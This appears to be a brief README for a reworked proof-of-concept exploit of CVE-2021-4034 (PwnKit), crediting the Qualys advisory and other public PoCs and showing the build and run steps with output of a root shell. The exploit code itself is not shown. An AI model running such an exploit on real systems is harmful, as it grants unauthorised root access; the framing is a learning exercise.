Obviously not original. Reworked it to understand what's going on. Credits to https://www.qualys.com/2022/01/25/cve-2021-4034/pwnkit.txt for finding the vuln!
Other PoCs that helped me understand the sploitz:
https://github.com/berdav/CVE-2021-4034 https://github.com/ryaagard/CVE-2021-4034
make
❯ ./main
LOADED!
# whoami
root
# id
uid=0(root) gid=0(root) groups=0(root)